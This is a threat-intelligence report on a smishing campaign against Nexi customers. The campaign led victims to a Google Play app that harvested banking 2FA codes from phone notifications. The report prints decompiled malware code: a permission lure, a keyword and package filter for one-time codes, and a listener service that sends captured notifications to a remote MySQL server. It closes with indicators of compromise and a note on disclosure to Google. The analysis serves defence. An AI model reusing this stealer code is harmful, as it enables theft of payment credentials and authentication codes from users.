A Nexi phishing campaign spread malicious App via official Google Play Store
D3Lab’s Threat Intelligence Team in its daily activities of analyzing and countering online fraud has detected a phishing campaign sent via SMS to the Italian company Nexi customers (specialises in payment systems) that invited the user to install a malicious application via the official Google Play Store.
Users initially received a text message (smishing) prompting them to check their own Nexi profile to prevent a disabling of the account. If the user clicked on the phishing link, he would see a fake Nexi web page requesting him:
- Email associated with Nexi account;
- Password;
- Codice Fiscale (Italian fiscal code);
- Credit Card Number, CVV and Expiration Date.
After completing the data entry the victim would saw a pop-up inviting him to download a new security application. The phishing website contained links to the Google Play Store, Huawei App Gallery, and Apple Store. But only the link to the Google Play Store was valid.
The phishing site was well designed, in fact it was visible only to users with Android devices (user agent verification) and by users with Italian Mobile IP addresses.
By proceeding to install the security application, the user was sent to the official Google Play Store, where he could download the “Malware Detector” application.
This application has been installed by more than 500 users; in fact, it had been in the Google Play Store since November 2022. It was updated monthly to change the remote database where users’ stolen data was stored.
The application once installed requires the user to have access to notifications, that is, to be able to read all notifications the user receives. It then checks the applications installed on the smartphone and if the following applications are present, it proceeds to capture notifications:
- Postepay (posteitaliane.posteapp.apppostepay);
- Postepay Tandem (com.poste.posmobile);
- BancoPosta (posteitaliane.posteapp.appbpol);
- PayPal (com.paypal.android.p2pmobile);
- PayPal Business (com.paypal.merchant.client);
- Zettle Go (com.izettle.android);
- Nexi Pay (it.icbpi.mobile);
- Nexi Business (it.nexi.merchant);
- SCRIGNOmulti-banca (it.nexi.bps.appscrignomultibanca);
- Satispay (com.satispay.customer);
- DCash (com.nexigroup.dcash);
- Mooney App (com.sisal.sisalpay).
The intent is to capture notifications that may contain authorization tokens (2FA); in fact, only notifications that contain certain keywords (e.g. “code,” “key,” “authorized,” etc.) are collected.
Below are some screenshots about the application found in the Google Play Store.
APK Applications Analysis
The application is graphically very simple; in fact, it does not contain any content. Once installed it shows the warning to the user “Purchase Protector needs this authorization to make payments run more smoothly and to ensure that the security code is not accessed by a third party.” and if the user selects the “Accept” button they are directed to the settings section of the phone (android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS).
new AlertDialog.Builder(this).setCancelable(false).setTitle("Accesso alle Notifiche").setMessage("Purchase Protector ha bisogno di questa autorizzazione per rendere i pagamenti più fluidi e per garantire che non venga effettuato l'accesso al codice di sicurezza da parte di terzi.").setPositiveButton("Consenti", new DialogInterface.OnClickListener() { // from class: mpn.piste.find.alex.mainSrsource.10
{
mainSrsource.this = this;
}
@Override // android.content.DialogInterface.OnClickListener
public void onClick(DialogInterface dialogInterface, int i) {
final Handler handler = new Handler();
new Runnable() { // from class: mpn.piste.find.alex.mainSrsource.10.1
{
DialogInterface$OnClickListenerC222710.this = this;
}
@Override // java.lang.Runnable
public void run() {
if (mainSrsource.this.isnotiservRuuntt()) {
Intent intent = new Intent(mainSrsource.this, mainSrsource.class);
intent.addFlags(268468224);
mainSrsource.this.startActivity(intent);
if (Build.VERSION.SDK_INT < 33 || mainSrsource.isnotgranted) {
return;
}
ActivityCompat.requestPermissions(mainSrsource.this, new String[]{"android.permission.POST_NOTIFICATIONS"}, mainSrsource.this.REQUEST_CODE);
return;
}
handler.postDelayed(this, 0L);
}
}.run();
If access is granted, the application perceives permission to access the Android NotificationListenerService, so it will be able to parse all notifications the user receives.
As anticipated the application performed a filtering of received notifications, only those of interest will be sent to the cyber threat actor and only if certain applications are present on the smartphone.
if (str.toLowerCase().indexOf("code".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("codice".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf(NonRegisteringDriver.PASSWORD_PROPERTY_KEY.toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("key".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("autorizzato".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("autorizzazione".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("chiave".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("nexi".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("paypal".toLowerCase()) == -1 && this.softPoste.toLowerCase().indexOf("paypal".toLowerCase()) == -1 && this.softPoste.toLowerCase().indexOf("nexi".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("mooney".toLowerCase()) == -1 && this.softPoste.toLowerCase().indexOf("mooney".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("poste".toLowerCase()) == -1 && this.softPoste.toLowerCase().indexOf("poste".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("bancoposta".toLowerCase()) == -1 && this.softPoste.toLowerCase().indexOf("bancoposta".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("satispay".toLowerCase()) == -1 && this.softPoste.toLowerCase().indexOf("satispay".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("zettle".toLowerCase()) == -1 && this.softPoste.toLowerCase().indexOf("zttle".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("dcash".toLowerCase()) == -1 && this.softPoste.toLowerCase().indexOf("dcash".toLowerCase()) == -1 && this.accOrd.toLowerCase().indexOf("pagato".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("posteitaliane.posteapp.apppostepay".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("com.poste.posmobile".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("posteitaliane.posteapp.appbpol".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("com.paypal.android.p2pmobile".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("com.paypal.merchant.client".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("com.izettle.android".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("it.icbpi.mobile".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("it.nexi.merchant".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("it.nexi.bps.appscrignomultibanca".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("com.satispay.customer".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("com.nexigroup.dcash".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("com.sisal.sisalpay".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("mail".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("gmail".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("hotmail".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("outlook".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("tiscali".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("libero".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("banca".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("crypto".toLowerCase()) == -1 && this.packcKage.toLowerCase().indexOf("cripto".toLowerCase()) == -1) {
return;
}
If the notification is then of interest to criminals via the jdbc driver it is sent to an SQL server.
public class hnotServer extends NotificationListenerService {
static final /* synthetic */ boolean $assertionsDisabled = false;
static final int NOT_IXUD = 543;
private static final String TAB = "hnotServer";
static JDBC4Connection connexionToft = null;
static Connection indoMn = null;
public static boolean isServiceRunning = false;
public static boolean isterServiceRunning = false;
static String poOx = "jdbc:mysql://sqlXX.freemysqlhosting.net:3306/sqlXXXXXXXX";
static JDBC4PreparedStatement statementXram;
Context bntExctract;
String dateDatos;
SharedPreferences mSeurf;
String packcKage;
String softPoste;
String tickTicket;
public String smNh = "null";
public String dateDotsort = "null";
String timeStorefloat = "null";
String accOrd = "null";
/* renamed from: op */
public String f515op = "null";
public static Connection getRoflex() throws InterruptedException, ClassNotFoundException, SQLException {
while (true) {
try {
if (indoMn == null) {
Class.forName("com.mysql.jdbc.Driver");
connexionToft = (JDBC4Connection) DriverManager.getConnection(poOx, "sqlXXXXXXXX", "tmXXXXXXXX");
}
return indoMn;
} catch (Exception unused) {
Thread.sleep(1L);
}
}
}
IoC
Some useful IoCs for detecting the malicious campaign:
- assistenza-clienti[.]group[.]agency
- nexi[.]group[.]agency
- sql11[.]freemysqlhosting[.]net
- Malware Detector_11.0 (mpn.piste.find.alex)
- MD5: ea087088ac254b0e830e40a978ded502
- SHA1: d1d4c7b8409749140d16d9f57152bb662e9d2c1f
Disclosure
We alerted Google’s security team on April 13, and the application was removed the next day.